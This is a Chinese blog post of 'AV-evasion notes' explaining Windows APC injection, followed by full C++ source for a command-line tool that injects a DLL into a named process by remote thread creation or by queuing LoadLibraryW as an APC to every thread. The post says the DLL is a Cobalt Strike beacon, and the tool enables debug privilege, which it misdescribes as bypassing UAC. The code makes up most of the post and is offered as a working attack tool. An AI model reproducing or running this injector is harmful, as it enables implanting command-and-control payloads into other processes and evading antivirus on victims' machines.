免杀笔记 ---> APC注入

除了我们前面讲的DLL注入,还有一个APC注入的东西也是很重要的!!

 ::确实很重要,相应的,在跟新完今天的代码之后,我也会对应的进行Github上工具的更新!! 

1.APC

APC(Asynchronous Procedure Call)异步过程调用,是指函数在特定线程中被异步执行,在操作系统中,APC是一种并发机制。

这么说其实感觉有点懵,我们来这么解释一下,对于一个线程来说,在不通过API调用,或者出现EFlag寄存器中IF位为0,又或者代码出现异常的情况下,线程是不会被他人结束的,但是线程本身也不知道什么时候该去结束自己,这时候就要我们外部提供代码,让其 "自杀"!  所以此时,我们的APC机制就派上用场了:定时检测是否有另外执行的代码,然后去执行,这个函数就是APC!! 

2.APC注入

我们的每一个进程中,可能会有多个线程,每一个线程都会维护一个线程的APC队列,当我们通过QucueUserAPC把一个APC函数添加到指定线程的APC队列中时,Windows系统就会发出一个软中断去执行这些APC函数。 当然了,如果一个EXE执行到想SleeEx()的时候,也会发生一个软中断,这时候也能APC注入,不过我们怎么知道别人什么时候执行SleepEx这个函数呢 ?? 

   ::所以就要我们手动产生一个软中断,然后进行注入DLL!! 

不过注入也还是有前提的 !!

  • 必须是多线程的环境
  • 注入的程序必须调用那些同步的对象

然后就是我们来看一下这个过程了

  • OpenProcess拿到handle
  • VirtualAlloc申请空间
  • WiriteProccessMemory写入DLL路径
  • 通过对应的进程ID打开线程
  • 通过QueueUserAPC执行我们的"LoadLibrary"

所以我们就能总结出APC注入的原理了

通过对目标进程的每一个线程进行APC函数的插入,对每一个线程都让他LoadLibrary来执行我们上线CS的DLL

3.代码实现

然后接下来就是我们的代码实现了,其实大差不差,我们首先得来了解这么几个函数

CreateToolhelp32Snapshot()

CreateToolhelp32Snapshot 是 Windows API 中的一个函数,用于创建一个快照(snapshot),以便获取系统状态的静态视图。它允许程序员在不影响当前系统状态的情况下获取系统信息,例如进程、线程、模块等的快照信息。

其中它传入的参数我们一般都是这样

  • TH32CS_SNAPTHREAD  创建线程快照,获取系统中当前所有线程的信息
  • 第二个参数一般都是0,表示获取系统范围内的快照信息
Thread32First()

Thread32First(hSnap, &te) 是 Windows API 中用于获取线程快照中第一个线程信息的函数。

其中它接受两个参数

  • HANDLE hSnapshot 快照句柄,就是你拍的快照的句柄
  • THREADENTRY32 *lpte  指向第一个线程信息的结构体指针
OpenThread()

OpenThread 是一个 Windows API 函数,用于打开一个已存在的线程句柄,允许对该线程进行操作。

注意:这个函数是用来获取线程的句柄的!!

通过上面的铺垫,我们就能写出我们的代码了!! 

#include<iostream>
#include<tchar.h>
#include <cstring>
#include<Windows.h>
#include<Tlhelp32.h>
#include <cctype> 
using namespace std;
#pragma comment(linker, "/section:.data,RWE")BOOL EnableDebugPrivilege()
{HANDLE hToken;BOOL fOk = FALSE;if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken)){TOKEN_PRIVILEGES tp;tp.PrivilegeCount = 1;LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);fOk = (GetLastError() == ERROR_SUCCESS);CloseHandle(hToken);}return fOk;
}DWORD GetProcessPID(LPCTSTR lpProcessName)
{DWORD Ret = 0;PROCESSENTRY32 p32;HANDLE lpSnapshot = ::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);if (lpSnapshot == INVALID_HANDLE_VALUE){printf("	[-] 获取进程快照失败,请重试! Error:%d", ::GetLastError());return Ret;}p32.dwSize = sizeof(PROCESSENTRY32);::Process32First(lpSnapshot, &p32);do {if (!lstrcmp(p32.szExeFile, lpProcessName)){Ret = p32.th32ProcessID;break;}} while (::Process32Next(lpSnapshot, &p32));::CloseHandle(lpSnapshot);return Ret;
}void APCInject(DWORD pid, LPCWSTR dllpath)
{//1.获取句柄HANDLE TargetHandle = OpenProcess(PROCESS_ALL_ACCESS, NULL, pid);if (TargetHandle == NULL){cout << "	[-] Get TargetProcessHandle Failed :(" << endl;if (EnableDebugPrivilege() == TRUE){cout << "	[-] Is This EXE Opened? :(" << endl;}else {cout << "	[-] Please Run This Under Administrator Role :(" << endl;}return;}else {cout << "	[+] Get OriginalProcessHandle Successfully :)" << endl;}//2.远程申请内存DWORD length = (wcslen(dllpath) + 2) * sizeof(TCHAR);PVOID RemoteMemory = VirtualAllocEx(TargetHandle, NULL, length, MEM_COMMIT, PAGE_EXECUTE_READ);if (RemoteMemory == NULL){cout << "	[-] VirtualAlloc Address Failed :(" << endl;return;}else {cout << "	[+] VirtualAlloc Address Successfully :)" << endl;}//3.将上线的DLL的路径写入内存BOOL WriteStatus = WriteProcessMemory(TargetHandle, RemoteMemory, dllpath, length, NULL);if (WriteStatus == 0){cout << "	[-] Write CS's DLL Into Memory Failed :(" << endl;return;}else{cout << "	[+] Write CS's DLL Into Memory Successfully :)" << endl;}//4.获取LoadLibrary的函数地址FARPROC LoadLibraryAddress = GetProcAddress(GetModuleHandle(L"Kernel32.dll"), "LoadLibraryW");if (LoadLibraryAddress == NULL){cout << "	[-] Get LoadLibrary's Address Failed :(" << endl;return;}else{cout << "	[+] Get LoadLibrary's Address Successfully :)" << endl;}//5.创建线程快照并且插入APC函数HANDLE SnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, NULL);if (SnapShot == INVALID_HANDLE_VALUE){cout << "	[-] Taking Thread Snap Shot Failed :(" << endl;return;}else{cout << "	[+] Taking Thread Snap Shot Successfully :)" << endl;}//定义线程信息结构体,并且初始化THREADENTRY32 te = { 0 };te.dwSize = sizeof(te);//然后就是遍历快照中的线程,进行插入int flag = 0;                  //判断APC是否插入成功HANDLE ThreadHandle = NULL;    //用于获取目标线程句柄if (Thread32First(SnapShot, &te)){//不想do while循环,所以我就直接先进行一次//判断目标线程的进程ID是否是我们要注入的进程的IDif (te.th32OwnerProcessID == pid){ThreadHandle = OpenThread(THREAD_ALL_ACCESS, FALSE, te.th32ThreadID);  //获取目标线程的句柄if (ThreadHandle){DWORD dwRet = QueueUserAPC((PAPCFUNC)LoadLibraryAddress, ThreadHandle, (ULONG_PTR)RemoteMemory);  //插入APC函数if (dwRet == TRUE){flag++;}}ThreadHandle = NULL;  //清除句柄}while (Thread32Next(SnapShot, &te))  //遍历完毕就会停止{if (te.th32OwnerProcessID == pid){ThreadHandle = OpenThread(THREAD_ALL_ACCESS, FALSE, te.th32ThreadID);if (ThreadHandle){DWORD dwRet = QueueUserAPC((PAPCFUNC)LoadLibraryAddress, ThreadHandle, (ULONG_PTR)RemoteMemory);if (dwRet == TRUE){flag++;}}ThreadHandle = NULL;  //清除句柄}}CloseHandle(TargetHandle);CloseHandle(SnapShot);CloseHandle(ThreadHandle);if (flag == 0){cout << "	[-] APC Inject Failed :(" << endl;return;}else{cout << "	[+] APC Inject Successfully :)" << endl;}}
}void DLLInject(DWORD pid, LPCWSTR dllpath)
{//1.获取句柄HANDLE OriginalProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);if (OriginalProcessHandle == NULL){cout << "	[-] Get TargetProcessHandle Failed :(" << endl;if (EnableDebugPrivilege() == TRUE){cout << "	[-] Is This EXE Opened? :(" << endl;}else {cout << "	[-] Please Run This Under Administrator Role :(" << endl;}return;}else {cout << "	[+] Get OriginalProcessHandle Successfully :)" << endl;}//2.远程申请内存DWORD  length = (wcslen(dllpath) + 1) * sizeof(TCHAR);PVOID  RemoteMemory = VirtualAllocEx(OriginalProcessHandle, NULL, length, MEM_COMMIT, PAGE_EXECUTE_READ);if (RemoteMemory == NULL){cout << "	[-] VirtualAlloc Address Failed :(" << endl;return;}else {cout << "	[+] VirtualAlloc Address Successfully :)" << endl;}//3.将CS上线的DLL写入内存BOOL WriteStatus = WriteProcessMemory(OriginalProcessHandle, RemoteMemory, dllpath, length, NULL);if (WriteStatus == 0){cout << "	[-] Write CS's DLL Into Memory Failed :(" << endl;return;}else{cout << "	[+] Write CS's DLL Into Memory Successfully :)" << endl;}//4.获取LoadLibrary地址FARPROC LoadLibraryHandle = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryW");//5.声明ZwCreateThreadEx函数
#ifdef _WIN64typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(PHANDLE ThreadHandle,ACCESS_MASK DesiredAccess,LPVOID ObjectAttributes,HANDLE ProcessHandle,LPTHREAD_START_ROUTINE lpStartAddress,LPVOID lpParameter,ULONG CreateThreadFlags,SIZE_T ZeroBits,SIZE_T StackSize,SIZE_T MaximumStackSize,LPVOID pUnkown);
#elsetypedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(PHANDLE ThreadHandle,ACCESS_MASK DesiredAccess,LPVOID ObjectAttributes,HANDLE ProcessHandle,LPTHREAD_START_ROUTINE lpStartAddress,LPVOID lpParameter,BOOL CreateSuspended,DWORD dwStackSize,DWORD dw1,DWORD dw2,LPVOID pUnkown);
#endif//6.获取NTDLL中ZwCreateThreadEx函数typedef_ZwCreateThreadEx  ZwCreateThreadEx = (typedef_ZwCreateThreadEx)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "ZwCreateThreadEx");if (ZwCreateThreadEx == NULL){cout << "	[-] Get ZwCreateThreadEx Address Failed :(" << endl;return;}else {cout << "	[+] Get ZwCreateThreadEx Address Successfully :)" << endl;}//5.创建线程 ring3调用CreateRemoteThreadHANDLE RemoteHandle = CreateRemoteThread(OriginalProcessHandle, NULL, 0, (LPTHREAD_START_ROUTINE)LoadLibraryHandle, RemoteMemory, 0, NULL);if (RemoteHandle == NULL){cout << "	[-] Ring3 Thread Inject Failed :(" << endl;return;}else {cout << "	[+] Ring3 Thread Inject Successfully :)" << endl;}//7.创建线程  ring0调用ZwCreateThreadExHANDLE hRemoteThread;DWORD Status = 0;Status = ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, OriginalProcessHandle, (LPTHREAD_START_ROUTINE)LoadLibraryHandle, RemoteMemory, 0, 0, 0, 0, NULL);if (Status == NULL){cout << "	[+] Ring0 Thread Inject Successfully :)" << endl;}else{cout << "	[-] Ring0 Thread Inject Failed :(" << endl;return;}WaitForSingleObject(RemoteHandle, -1);//8.释放DLL空间VirtualFreeEx(OriginalProcessHandle, RemoteMemory, length, MEM_COMMIT);//9.关闭句柄CloseHandle(OriginalProcessHandle);CloseHandle(ZwCreateThreadEx);cout << "	[+] DLL inj&ct successfu11y !! Enj0y Hacking Time :) !" << endl;
}int _tmain(int argc, TCHAR* argv[])
{if (argc == 3) {cout << "	    Which kind of Injection do you want?" << endl;cout << "	    [1]: DLLInject" << endl << "	    [2]: APCInject" << endl;int type = 0;cin >> type;if (type == 1){std::cout << "▓█████▄  ██▓     ██▓     ██▓ ███▄    █  ▄▄▄██▓▓▓▓█████  ▄████▄  ▄▄▄█████▓\n";std::cout << "▓██▓ ██▌▓██▓    ▓██▓    ▓██▓ ██ ▓█   █    ▓██   ▓█   ▓ ▓██▓ ▓█  ▓  ██▓ ▓▓\n";std::cout << "▓██   █▌▓██▓    ▓██▓    ▓██▓▓██  ▓█ ██▓   ▓██   ▓███   ▓▓█    ▄ ▓ ▓██▓ ▓▓\n";std::cout << "▓▓█▄   ▌▓██▓    ▓██▓    ▓██▓▓██▓  ▓▌██▓▓██▄██▓  ▓▓█  ▄ ▓▓▓▄ ▄██▓▓ ▓██▓ ▓ \n";std::cout << "▓▓████▓ ▓██████▓▓██████▓▓██▓▓██▓   ▓██▓ ▓███▓   ▓▓████▓▓ ▓███▓ ▓  ▓██▓ ▓ \n";std::cout << " ▓▓  ▓ ▓ ▓▓▓  ▓▓ ▓▓▓  ▓▓▓  ▓ ▓▓   ▓ ▓  ▓▓▓▓▓   ▓▓ ▓▓ ▓▓ ▓▓ ▓  ▓  ▓ ▓▓   \n";std::cout << " ▓▓  ▓ ▓ ▓ ▓  ▓▓ ▓ ▓  ▓ ▓ ▓▓ ▓▓   ▓ ▓▓ ▓ ▓▓▓    ▓ ▓  ▓  ▓  ▓       ▓    \n";std::cout << " ▓ ▓  ▓   ▓ ▓     ▓ ▓    ▓ ▓   ▓   ▓ ▓  ▓ ▓ ▓      ▓   ▓          ▓      \n";std::cout << "   ▓        ▓  ▓    ▓  ▓ ▓           ▓  ▓   ▓      ▓  ▓▓ ▓                \n";std::cout << " ▓                                                     ▓                    \n";cout << "	    Under the sun,there is no secure system!!" << endl << "	        Scripted By Whoami@127.0.0.1  :》" << endl << "	          Color Picked By Icy Water :)" << endl;if (EnableDebugPrivilege() == TRUE){cout << "-----------------------------!!START!!--------------------------------" << endl;cout << "	[+] Privilege Elevated Successfully, Now You Have Bypassed UAC :) " << endl;}else {cout << "-----------------------------!!START!!--------------------------------" << endl;cout << "	[-] Privilege Elevated Failed, You Haven't Bypassed UAC :( " << endl;}DWORD PID = GetProcessPID(argv[1]);DLLInject(PID, argv[2]);}else if (type == 2){DWORD PID = GetProcessPID(argv[1]);std::cout << " ▄▄▄       ██▓███   ▄████▄      ██▓ ███▄    █  ▄▄▄██▓▓▓▓█████  ▄████▄  ▄▄▄█████▓\n""▓████▄    ▓██▓  ██▓▓██▓ ▓█     ▓██▓ ██ ▓█   █    ▓██   ▓█   ▓ ▓██▓ ▓█  ▓  ██▓ ▓▓\n""▓██  ▓█▄  ▓██▓ ██▓▓▓▓█    ▄    ▓██▓▓██  ▓█ ██▓   ▓██   ▓███   ▓▓█    ▄ ▓ ▓██▓ ▓▓\n""▓██▄▄▄▄██ ▓██▄█▓▓ ▓▓▓▓▄ ▄██▓   ▓██▓▓██▓  ▓▌██▓▓██▄██▓  ▓▓█  ▄ ▓▓▓▄ ▄██▓▓ ▓██▓ ▓ \n"" ▓█   ▓██▓▓██▓ ▓  ▓▓ ▓███▓ ▓   ▓██▓▓██▓   ▓██▓ ▓███▓   ▓▓████▓▓ ▓███▓ ▓  ▓██▓ ▓ \n"" ▓▓   ▓▓█▓▓▓▓▓ ▓  ▓▓ ▓▓ ▓  ▓   ▓▓  ▓ ▓▓   ▓ ▓  ▓▓▓▓▓   ▓▓ ▓▓ ▓▓ ▓▓ ▓  ▓  ▓ ▓▓   \n""  ▓   ▓▓ ▓▓▓ ▓       ▓  ▓       ▓ ▓▓ ▓▓   ▓ ▓▓ ▓ ▓▓▓    ▓ ▓  ▓  ▓  ▓       ▓     \n""  ▓   ▓   ▓▓       ▓            ▓ ▓   ▓   ▓ ▓  ▓ ▓ ▓      ▓   ▓          ▓      \n""      ▓  ▓         ▓ ▓          ▓           ▓  ▓   ▓      ▓  ▓▓ ▓                \n""                   ▓                                          ▓                   \n";cout << endl << "	    Under the sun,there is no secure system!!" << endl << "	        Scripted By Whoami@127.0.0.1  :》" << endl << "	          Color Picked By Icy Water :)" << endl;if (EnableDebugPrivilege() == TRUE){cout << "-----------------------------!!START!!--------------------------------" << endl;cout << "	[+] Privilege Elevated Successfully, Now You Have Bypassed UAC :) " << endl;}else {cout << "-----------------------------!!START!!--------------------------------" << endl;cout << "	[-] Privilege Elevated Failed, You Haven't Bypassed UAC :( " << endl;}APCInject(PID, argv[2]);}else {cout << "	    Please choose the number below :(" << endl;return 0;}}else{cout << "	[-] Two Parameters are required" << endl;}return 0;
}

  

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/44722.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

css实现3d照片墙

效果图 vue2写法&#xff1a; <template><div class"container"><div class"box"><div class"circle circle1"><img src"../../../assets/images/main/logo.png" alt"" /></div>&l…

实战教程:如何利用Optimizer优化你的Windows系统?

前言 你是否厌倦了系统臃肿、隐私泄露的烦恼&#xff1f;小江湖今天就要带你走进一个全新的世界&#xff0c;一个能够让你重获自由与安心的神奇之地——Optimizer&#xff0c;一款专为Windows用户打造的深度优化神器&#xff1b;有了它你仅需轻轻一点&#xff0c;再也不用为系…

p13 数组

数组的创建 数组是一组相同类型元素的集合。数组的创建方式&#xff1a; type_t arr_name [const_n]; //type_t 是指数组的元素类型 //const_n 是一个常量表达式&#xff0c;用来指定数组的大小 int main() {//创建一个数字组-存放整型-10个int arr[10]{1,2,3}//不完全初始…

TensorFlow系列:第四讲:MobileNetV2实战

一. 加载数据集 编写工具类&#xff0c;实现数据集的加载 import keras""" 加载数据集工具类 """class DatasetLoader:def __init__(self, path_url, image_size(224, 224), batch_size32, class_modecategorical):self.path_url path_urlself…

物联网系统中市电电量计量方案(一)

为什么要进行电量计量&#xff1f; 节约资源&#xff1a;电量计量可以帮助人们控制用电量&#xff0c;从而达到节约资源的目的。在当前严峻的资源供应形势下&#xff0c;节约能源是我们应该重视的问题。合理计费&#xff1a;电表可以帮助公共事业单位进行合理计费&#xff0c;…

3.相机标定原理及代码实现(opencv)

1.相机标定原理 相机参数的确定过程就叫做相机标定。 1.1 四大坐标系及关系 &#xff08;1&#xff09;像素坐标系&#xff08;单位&#xff1a;像素&#xff08;pixel&#xff09;&#xff09; 像素坐标系是指相机拍到的图片的坐标系&#xff0c;以图片的左上角为坐标原点&a…

为校园后勤注入智慧:收件登记功能驱动全新体验

在智慧校园的后勤管理体系中&#xff0c;收件登记服务是一项旨在提升快递接收体验的创新举措&#xff0c;它无缝融合了现代科技与日常校园生活&#xff0c;为师生带来便捷与安心。 为应对日益增长的快递需求&#xff0c;师生可事先通过校园网平台或特制的移动应用预报快递信息&…

光学传感器图像处理流程(二)

光学传感器图像处理流程&#xff08;二&#xff09; 2.4. 图像增强2.4.1. 彩色合成2.4.2 直方图变换2.4.3. 密度分割2.4.4. 图像间运算2.4.5. 邻域增强2.4.6. 主成分分析2.4.7. 图像融合 2.5. 裁剪与镶嵌2.5.1. 图像裁剪2.5.2. 图像镶嵌 2.6. 遥感信息提取2.6.1. 目视解译2.6.2…

数字化时代的供应链管理综合解决方案

目录 引言背景与意义供应链管理综合解决方案的目标 &#x1f4c4;供应链管理系统主要功能系统优势 &#x1f4c4;物流管理系统主要功能系统优势 &#x1f4c4;订单管理系统主要功能应用场景 &#x1f4c4;仓储管理系统系统亮点主要功能系统优势 &#x1f4c4;商城管理系统主要功…

【python】QWidget父子关系,控件显示优先级原理剖析与应用实战演练

✨✨ 欢迎大家来到景天科技苑✨✨ &#x1f388;&#x1f388; 养成好习惯&#xff0c;先赞后看哦~&#x1f388;&#x1f388; &#x1f3c6; 作者简介&#xff1a;景天科技苑 &#x1f3c6;《头衔》&#xff1a;大厂架构师&#xff0c;华为云开发者社区专家博主&#xff0c;…

又是三道简单的web题(2)

一、cookie 1.打开后是如下页面&#xff0c;抓包&#xff0c;关注cookie 2.发现cookie中有一个文件 3.直接访问这个文件&#xff0c;得到flag 二、employeeswork 打开后页面如下&#xff1a; 点击后出现一串php代码 审一下这个代码&#xff0c;需要添加参数work并且赋值work…

Linux笔记之使用系统调用sendfile高速拷贝文件

Linux笔记之使用系统调用sendfile高速拷贝文件 code review! 文章目录 Linux笔记之使用系统调用sendfile高速拷贝文件sendfile 性能优势sendfile 系统调用优点&#xff1a;缺点&#xff1a; cp 命令优点&#xff1a;缺点&#xff1a; 实际测试&#xff1a;拷贝5.8个G的文件&a…

合合信息大模型加速器亮相WAIC大会:文档解析与文本识别新突破

合合信息大模型加速器亮相WAIC大会&#xff1a;文档解析与文本识别新突破 文章目录 合合信息大模型加速器亮相WAIC大会&#xff1a;文档解析与文本识别新突破前言合合信息TextIn平台&#xff1a;智能文档处理的领军者文档解析引擎&#xff1a;百页文档秒级处理大模型的发展背景…

【漏洞复现】Crocus系统——Download——文件读取

声明&#xff1a;本文档或演示材料仅供教育和教学目的使用&#xff0c;任何个人或组织使用本文档中的信息进行非法活动&#xff0c;均与本文档的作者或发布者无关。 文章目录 漏洞描述漏洞复现测试工具 漏洞描述 Crocus系统旨在利用人工智能、高清视频、大数据和自动驾驶技术&…

工程化-vue3+ts:代码检测工具 ESLint

一、理解ESLint ESLint是一个开源的JavaScript代码检查工具&#xff0c;用于帮助开发人员规范和统一编码风格。它可以检查代码中的潜在错误、不一致的编码习惯以及一些常见的代码问题。 ESLint使用基于规则的插件体系&#xff0c;可以根据项目的需求和个人的偏好配置不同的规…

数据库数据恢复—SQL Server数据库由于存放空间不足报错的数据恢复案例

SQL Server数据库数据恢复环境&#xff1a; 某品牌服务器存储中有两组raid5磁盘阵列。操作系统层面跑着SQL Server数据库&#xff0c;SQL Server数据库存放在D盘分区中。 SQL Server数据库故障&#xff1a; 存放SQL Server数据库的D盘分区容量不足&#xff0c;管理员在E盘中生…

MacOS如何切换shell类型

切换 shell 类型 如果你想在不同的 shell 之间切换&#xff0c;以探索它们的不同之处&#xff0c;或者因为你知道自己需要其中的一个或另一个&#xff0c;可以使用如下命令&#xff1a; 切换到 bash chsh -s $(which bash)切换到 zsh chsh -s $(which zsh)$()语法的作用是运…

FastGPT:给 GPT 插上知识库的翅膀!0基础搭建本地私有知识库,有手就行

写在前面 上一篇&#xff0c;我们部署了接口管理和分发神器-OneAPI&#xff0c;将所有大模型一键封装成OpenAI协议。见&#xff1a;[OneAPI)。 基于此&#xff0c;本篇继续带领大家搭建一个基于本地知识库检索的问答系统。 有同学说 Coze 不也可以实现同样功能么&#xff1f…

51单片机:电脑通过串口控制LED亮灭(附溢出率和波特率详解)

一、功能实现 1.电脑通过串口发送数据&#xff1a;0F 2.点亮4个LED 二、注意事项 1.发送和接受数据的文本模式 2.串口要对应 3.注意串口的波特率要和程序中的波特率保持一致 4.有无校验位和停止位 三、如何使用串口波特率计算器 1.以本程序为例 2.生成代码如下 void Uar…